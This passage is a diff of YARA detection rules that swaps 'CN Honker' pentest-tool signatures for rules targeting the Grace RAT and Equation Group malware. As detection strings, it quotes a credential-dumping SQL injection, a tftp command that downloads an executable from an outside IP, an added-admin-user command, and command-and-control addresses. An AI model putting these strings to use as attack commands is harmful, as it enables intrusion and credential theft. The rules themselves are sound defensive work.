-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-47246, FILE"
+		hash1 = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
 
 	strings:
-		$s4 = "-1 union select 1,username,password,4,5,6,7,8,9,10 from admin" fullword ascii
-		$s5 = "CooKie.exe" fullword wide
+		$s1 = "No key in args!" ascii fullword
+		$s2 = "Bad data file!" ascii fullword
+		$s3 = "Data file loaded. Running..." ascii
+		$op1 = { 48 8d 55 c8 4c 8d 3d ac 8f 00 00 45 33 c9 45 33 d2 4d 8b e7 44 21 0a 45 33 db 4c 8d 3d 16 ec ff ff }
+		$op2 = { 48 d3 e8 0f b6 c8 49 03 cb 49 81 c3 00 01 00 00 45 33 8c 8f a0 e4 00 00 41 83 fa 04 7c c7 41 ff c0 }
+		$op3 = { 48 83 c1 04 48 ff ca 89 41 1c 75 ef 03 f6 48 83 c3 20 48 ff cd 0f 85 77 ff ff ff }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <360KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and 3 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Wwwscan_1_Wwwscan : FILE
+rule SIGNATURE_BASE_MAL_Grace_Dec22
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8b6a94a3-6f9c-59b2-931b-c06701b95d59"
-		date = "2015-06-23"
+		description = "Detects Grace (aka FlawedGrace and GraceWire) RAT"
+		author = "X__Junior"
+		id = "fc2214dc-f1e5-52d7-a9de-88709a03b04e"
+		date = "2022-12-13"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L222-L237"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6bed45629c5e54986f2d27cbfc53464108911026"
-		logic_hash = "7b0b6bbcba49c8f950ea3cf5a364059ba784c87a41eba6d825a9ca4e3a07bfbc"
+		reference = "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_sysaid_cve_2023_47246.yar#L40-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8276662dadfa2f8e07dd7882a60e55bd22ecf1f8f66a09940f16236598646560"
 		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		hash1 = "a66df3454b8c13f1b92d8b2cf74f5bfcdedfbff41a5e4add62e15277d14dd169"
+		hash2 = "e113a8df3c4845365f924bacf10c00bcc5e17587a204b640852dafca6db20404"
 
 	strings:
-		$s0 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
-		$s3 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$sa1 = "Grace finalized, no more library calls allowed." ascii
+		$sa2 = "Socket forcibly closed due to no response to DISCONNECT signal from other side, worker id(%d)" ascii
+		$sa3 = "AVWireCleanupThread" ascii
+		$sa4 = "AVTunnelClientDirectIO" ascii
+		$sa5 = "AVGraceTunnelWriteThread" ascii
+		$sa6 = "AVGraceTunnelClientDirectIO" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <180KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_D_Injection_V2_32 : FILE
+rule SIGNATURE_BASE_Apt_Equation_Exploitlib_Mutexes : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file D_injection_V2.32.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4c661c35-61ee-5ee7-9b8e-9908fbe0362b"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L239-L254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3a000b976c79585f62f40f7999ef9bdd326a9513"
-		logic_hash = "0107903a481b09faa92a5fbb162fd981f976ed864be3a0840b43063461e20974"
-		score = 70
+		description = "Rule to detect Equation group's Exploitation library http://goo.gl/ivt8EW"
+		author = "Kaspersky Lab"
+		id = "d060bfd7-fb16-55d3-8a39-1197fdd8e759"
+		date = "2016-02-15"
+		modified = "2023-01-27"
+		reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L3-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4414dd4ca16d08b8edad26842640960ace434cdde769766fb1c38a1a249565fd"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		version = "1.0"
 
 	strings:
-		$s0 = "Missing %s property(CommandText does not return a result set{Error creating obje" wide
-		$s1 = "/tftp -i 219.134.46.245 get 9493.exe c:\\9394.exe" fullword ascii
+		$a1 = "prkMtx" wide
+		$a2 = "cnFormSyncExFBC" wide
+		$a3 = "cnFormVoidFBC" wide
+		$a4 = "cnFormSyncExFBC"
+		$a5 = "cnFormVoidFBC"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and all of them
+		uint16(0)==0x5A4D and any of ($a*)
 }
-rule SIGNATURE_BASE_CN_Honker_Net_Priv_Esc2 : FILE
+rule SIGNATURE_BASE_Apt_Equation_Equationlaser_Runtimeclasses
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file net-priv-esc2.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b4fa3129-57a3-55ee-8ca6-ecbcc135184e"
-		date = "2015-06-23"
+		description = "Rule to detect the EquationLaser malware"
+		author = "Kaspersky Lab"
+		id = "924c80ca-3607-57aa-85a2-b33ff52b0c1b"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L256-L271"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4851e0088ad38ac5b3b1c75302a73698437f7f17"
-		logic_hash = "53cf3d984bc82428eb0a6ee416bcd5429718a1d615ce1c1ba399cda42268d26c"
-		score = 70
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L40-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "663ea56f869f7099a92658df5bddd76d4e5ba8ac5dfc693733579682b9eee860"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		version = "1.0"
 
 	strings:
-		$s1 = "Usage:%s username password" fullword ascii
-		$s2 = "<www.darkst.com>" fullword ascii
+		$a1 = "?a73957838_2@@YAXXZ"
+		$a2 = "?a84884@@YAXXZ"
+		$a3 = "?b823838_9839@@YAXXZ"
+		$a4 = "?e747383_94@@YAXXZ"
+		$a5 = "?e83834@@YAXXZ"
+		$a6 = "?e929348_827@@YAXXZ"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <17KB and all of them
+		any of them
 }
-rule SIGNATURE_BASE_CN_Honker_Oracle_V1_0_Oracle : FILE
+rule SIGNATURE_BASE_Apt_Equation_Cryptotable
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Oracle.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0cebede9-f4ff-5efb-98bc-55df0ad656a3"
-		date = "2015-06-23"
+		description = "Rule to detect the crypto library used in Equation group malware"
+		author = "Kaspersky Lab"
+		id = "e7f313a3-8ef8-5363-898a-836a96aaa2ff"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L273-L289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0264f4efdba09eaf1e681220ba96de8498ab3580"
-		logic_hash = "6f1bb6b14445a9ca29768ab2dcf831a98cb5d153d03ebc4bc497bb8f8144a365"
-		score = 70
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L59-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e660fe423330334a1e3167d6a45e5ce2469fec276838618a7cb0340ec8172275"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		version = "1.0"
 
 	strings:
-		$s1 = "!http://localhost/index.asp?id=zhr" fullword ascii
-		$s2 = "OnGetPassword" fullword ascii
-		$s3 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
+		$a = {37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3455KB and all of them
+		$a
 }
-rule SIGNATURE_BASE_CN_Honker_Interception : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Triplefantasy_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Interception.exe"
+		description = "Equation Group Malware - TripleFantasy http://goo.gl/ivt8EW"
 		author = "Florian Roth (Nextron Systems)"
-		id = "40d350e5-c6af-58e2-a1d8-f9516af5f869"
-		date = "2015-06-23"
+		id = "8d2adb3c-70e0-5768-bcfa-be64220064d9"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L291-L306"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ea813aed322e210ea6ae42b73b1250408bf40e7a"
-		logic_hash = "d1ae5f8ff21659b95f6e62b1d5e3ec15b122a2b5889e8984f3d9f6d2fa938d17"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L75-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b2b2cd9ca6f5864ef2ac6382b7b6374a9fb2cbe9"
+		logic_hash = "cfa3c1756c8dfb04e0a1590f76cad6d5b3878000d220c263d199322cf6a4f58a"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = ".\\dat\\Hookmsgina.dll" fullword ascii
-		$s5 = "WinlogonHackEx " fullword wide
+		$s0 = "%SystemRoot%\\system32\\hnetcfg.dll" fullword wide
+		$s1 = "%WINDIR%\\System32\\ahlhcib.dll" fullword wide
+		$s2 = "%WINDIR%\\sjyntmv.dat" fullword wide
+		$s3 = "Global\\{8c38e4f3-591f-91cf-06a6-67b84d8a0102}" fullword wide
+		$s4 = "%WINDIR%\\System32\\owrwbsdi" fullword wide
+		$s5 = "Chrome" fullword wide
+		$s6 = "StringIndex" fullword ascii
+		$x1 = "itemagic.net@443" fullword wide
+		$x2 = "team4heat.net@443" fullword wide
+		$x5 = "62.216.152.69@443" fullword wide
+		$x6 = "84.233.205.37@443" fullword wide
+		$z1 = "www.microsoft.com@80" fullword wide
+		$z2 = "www.google.com@80" fullword wide
+		$z3 = "127.0.0.1:3128" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <160KB and all of them
+		uint16(0)==0x5a4d and filesize <300000 and (( all of ($s*) and all of ($z*)) or ( all of ($s*) and 1 of ($x*)))
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_Dubrute_V3_0_RC3_3_0 : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Doublefantasy_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file 3.0.exe"
+		description = "Equation Group Malware - DoubleFantasy"
 		author = "Florian Roth (Nextron Systems)"
-		id = "994ad7e9-2019-54b3-84e6-2762a700c939"
-		date = "2015-06-23"
+		id = "f3c87adf-86c3-5d7c-9532-75341841869a"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L308-L324"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49b311add0940cf183e3c7f3a41ea6e516bf8992"
-		logic_hash = "6d2f6721c942332af1be0b6537e9b9d0b5b3e91eb3912dcd095aa18bccfc4ad5"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L109-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d09b4b6d3244ac382049736ca98d7de0c6787fa2"
+		logic_hash = "4471601300616b5442de95a3eb23c28563206f3423b57fe81007d005203a439f"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "explorer.exe http://bbs.yesmybi.net" fullword ascii
-		$s1 = "LOADER ERROR" fullword ascii
-		$s9 = "CryptGenRandom" fullword ascii
+		$z1 = "msvcp5%d.dll" fullword ascii
+		$s0 = "actxprxy.GetProxyDllInfo" fullword ascii
+		$s3 = "actxprxy.DllGetClassObject" fullword ascii
+		$s5 = "actxprxy.DllRegisterServer" fullword ascii
+		$s6 = "actxprxy.DllUnregisterServer" fullword ascii
+		$x2 = "191H1a1" fullword ascii
+		$x3 = "November " fullword ascii
+		$x4 = "abababababab" fullword ascii
+		$x5 = "January " fullword ascii
+		$x6 = "October " fullword ascii
+		$x7 = "September " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <395KB and all of them
+		uint16(0)==0x5a4d and filesize <350000 and (($z1) or ( all of ($s*) and 6 of ($x*)))
 }
-rule SIGNATURE_BASE_CN_Honker_Windows_Exp : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_GROK_Keylogger : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file exp.exe"
+		description = "Equation Group Malware - GROK keylogger"
 		author = "Florian Roth (Nextron Systems)"
-		id = "148900d0-cf62-5cb0-adbc-52fa8ce8832e"
-		date = "2015-06-23"
+		id = "1bae3e86-54e5-55e9-8bbd-aa9ec2a0fa2b"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L326-L341"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "04334c396b165db6e18e9b76094991d681e6c993"
-		logic_hash = "6a146545fd12e7603bf1e2ccb9b2d308b13fe2acdb9248a79c80b6c1de37fd73"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L140-L172"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "50b8f125ed33233a545a1aac3c9d4bb6aa34b48f"
+		logic_hash = "502afd23b92e948a8fba33ccc4da2f4b1ec91bce5a24d153ffc545129fd8c9fa"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "c:\\windows\\system32\\command.com /c " fullword ascii
-		$s8 = "OH,Sry.Too long command." fullword ascii
+		$s0 = "c:\\users\\rmgree5\\" ascii
+		$s1 = "msrtdv.sys" fullword wide
+		$x1 = "svrg.pdb" fullword ascii
+		$x2 = "W32pServiceTable" fullword ascii
+		$x3 = "In forma" fullword ascii
+		$x4 = "ReleaseF" fullword ascii
+		$x5 = "criptor" fullword ascii
+		$x6 = "astMutex" fullword ascii
+		$x7 = "ARASATAU" fullword ascii
+		$x8 = "R0omp4ar" fullword ascii
+		$z1 = "H.text" fullword ascii
+		$z2 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
+		$z4 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\Environment" wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <220KB and all of them
+		uint16(0)==0x5a4d and filesize <250000 and ($s0 or ($s1 and 6 of ($x*)) or (6 of ($x*) and all of ($z*)))
 }
-rule SIGNATURE_BASE_CN_Honker_Safe3Wvs_Cgiscan : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Greyfishinstaller
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file cgiscan.exe"
+		description = "Equation Group Malware - Grey Fish"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a9f7a195-deb8-5887-bc55-d1b0cac43182"
-		date = "2015-06-23"
+		id = "ea16b51c-755e-5f08-a209-d21a1ed30fcf"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L343-L358"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f94bbf2034ad9afa43cca3e3a20f142e0bb54d75"
-		logic_hash = "990dcede3bb83216af7e72e2a49bc2355ebd45ebd3fc658ba337a285dcdf799f"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L174-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d15d1581f32f36542f3e9fb4b1fc84d2a6ba35"
+		logic_hash = "dae6963f3210503c6c86c818a9cd6f309ba7876f14ca42966097023d474a2366"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "httpclient.exe" fullword wide
-		$s3 = "www.safe3.com.cn" fullword wide
+		$s0 = "DOGROUND.exe" fullword wide
+		$s1 = "Windows Configuration Services" fullword wide
+		$s2 = "GetMappedFilenameW" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <357KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Pr_Debug : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Equationdruginstaller : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file debug.exe"
+		description = "Equation Group Malware - EquationDrug installer LUTEUSOBSTOS"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d759818-b762-56f4-8475-82a7d18a659c"
-		date = "2015-06-23"
+		id = "fa549e6e-f0d8-55ea-9ec9-c8ec53b55dec"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L360-L375"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
-		logic_hash = "0b7508e3a508adc9416f16549290e06468520c156dbd5192e5a352820586af9f"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L191-L213"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "61fab1b8451275c7fd580895d9c68e152ff46417"
+		logic_hash = "815ed47a53bbc5f6c3fec3464336863028e804bde4681526ecac5de0cfff21b4"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "-->Got WMI process Pid: %d " ascii
-		$s2 = "This exploit will execute \"net user temp 123456 /add & net localg" ascii
+		$s0 = "\\system32\\win32k.sys" wide
+		$s1 = "ALL_FIREWALLS" fullword ascii
+		$x1 = "@prkMtx" fullword wide
+		$x2 = "STATIC" fullword wide
+		$x3 = "windir" fullword wide
+		$x4 = "cnFormVoidFBC" fullword wide
+		$x5 = "CcnFormSyncExFBC" fullword wide
+		$x6 = "WinStaObj" fullword wide
+		$x7 = "BINRES" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <820KB and all of them
+		uint16(0)==0x5a4d and filesize <500000 and all of ($s*) and 5 of ($x*)
 }
-rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V4_0 : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Equationlaserinstaller : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v4.0.exe"
+		description = "Equation Group Malware - EquationLaser Installer"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d41cbed5-a6e3-5165-a8c3-e0375c1ed75d"
-		date = "2015-06-23"
+		id = "15fd5668-36f2-556c-8150-225d3cbd4121"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L377-L392"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "98f21f72c761e504814f0a7db835a24a2413a6c2"
-		logic_hash = "bd6f9b6e831573164fddf7f0188087eb0076410b77c9c06cfacadebe6a53b525"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L215-L236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5e1f56c1e57fbff96d4999db1fd6dd0f7d8221df"
+		logic_hash = "6f8ba26f5efaa7ec422171862e1b645472387395f0be3a4625d58de5f0584c0b"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LOADER ERROR" fullword ascii
-		$s15 = "2011-2012 T00LS&RICES" fullword wide
+		$s0 = "Failed to get Windows version" fullword ascii
+		$s1 = "lsasrv32.dll and lsass.exe" fullword wide
+		$s2 = "\\\\%s\\mailslot\\%s" fullword ascii
+		$s3 = "%d-%d-%d %d:%d:%d Z" fullword ascii
+		$s4 = "lsasrv32.dll" fullword ascii
+		$s6 = "%s %02x %s" fullword ascii
+		$s7 = "VIEWERS" fullword ascii
+		$s8 = "5.2.3790.220 (srv03_gdr.040918-1552)" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2077KB and all of them
+		( uint16(0)==0x5a4d) and filesize <250000 and 6 of ($s*)
 }
-rule SIGNATURE_BASE_CN_Honker_Matrixay1073 : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Fannyworm : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file MatriXay1073.exe"
+		description = "Equation Group Malware - Fanny Worm"
 		author = "Florian Roth (Nextron Systems)"
-		id = "23e73b89-f60e-5bc3-8974-15be16d7c408"
-		date = "2015-06-23"
-		modified = "2023-01-27"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L394-L412"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fef951e47524f827c7698f4508ba9551359578a5"
-		logic_hash = "e64cae48344e5dae8ec80b2897305a0b380340bdd2973eb0828582f18ef8bf2b"
-		score = 70
+		id = "1b8d1ce6-8926-5aa3-8fba-6a8451d66a7d"
+		date = "2015-02-16"
+		modified = "2023-01-06"
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L238-L277"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1f0ae54ac3f10d533013f74f48849de4e65817a7"
+		logic_hash = "57e938ba1e53eeb99491547f53086eae3fc4d50bc5612e1b5ae6da6b029ac49e"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1" ascii
-		$s1 = "Policy\\Scan\\GetUserLen.ini" fullword ascii
-		$s2 = "!YEL!Using http://127.0.0.1:%d/ to visiter https://%s:%d/" ascii
-		$s3 = "getalluserpasswordhash" fullword ascii
+		$s1 = "x:\\fanny.bmp" fullword ascii
+		$s2 = "32.exe" fullword ascii
+		$s3 = "d:\\fanny.bmp" fullword ascii
+		$x1 = "c:\\windows\\system32\\kernel32.dll" fullword ascii
+		$x2 = "System\\CurrentControlSet\\Services\\USBSTOR\\Enum" fullword ascii
+		$x3 = "System\\CurrentControlSet\\Services\\PartMgr\\Enum" fullword ascii
+		$x4 = "\\system32\\win32k.sys" wide
+		$x5 = "\\AGENTCPD.DLL" ascii
+		$x6 = "agentcpd.dll" fullword ascii
+		$x7 = "PADupdate.exe" fullword ascii
+		$x8 = "dll_installer.dll" fullword ascii
+		$x9 = "\\restore\\" ascii
+		$x10 = "Q:\\__?__.lnk" fullword ascii
+		$x11 = "Software\\Microsoft\\MSNetMng" fullword ascii
+		$x12 = "\\shelldoc.dll" ascii
+		$x13 = "file size = %d bytes" fullword ascii
+		$x14 = "\\MSAgent" ascii
+		$x15 = "Global\\RPCMutex" fullword ascii
+		$x16 = "Global\\DirectMarketing" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <9100KB and all of them
+		( uint16(0)==0x5a4d) and filesize <300000 and ((2 of ($s*)) or (1 of ($s*) and 6 of ($x*)) or (14 of ($x*)))
 }
-rule SIGNATURE_BASE_CN_Honker_Sword1_5 : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_HDD_Reprogramming_Module : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Sword1.5.exe"
+		description = "Equation Group Malware - HDD reprogramming module"
 		author = "Florian Roth (Nextron Systems)"
-		id = "832e4998-64fc-5f34-a46d-aeefde0ee763"
-		date = "2015-06-23"
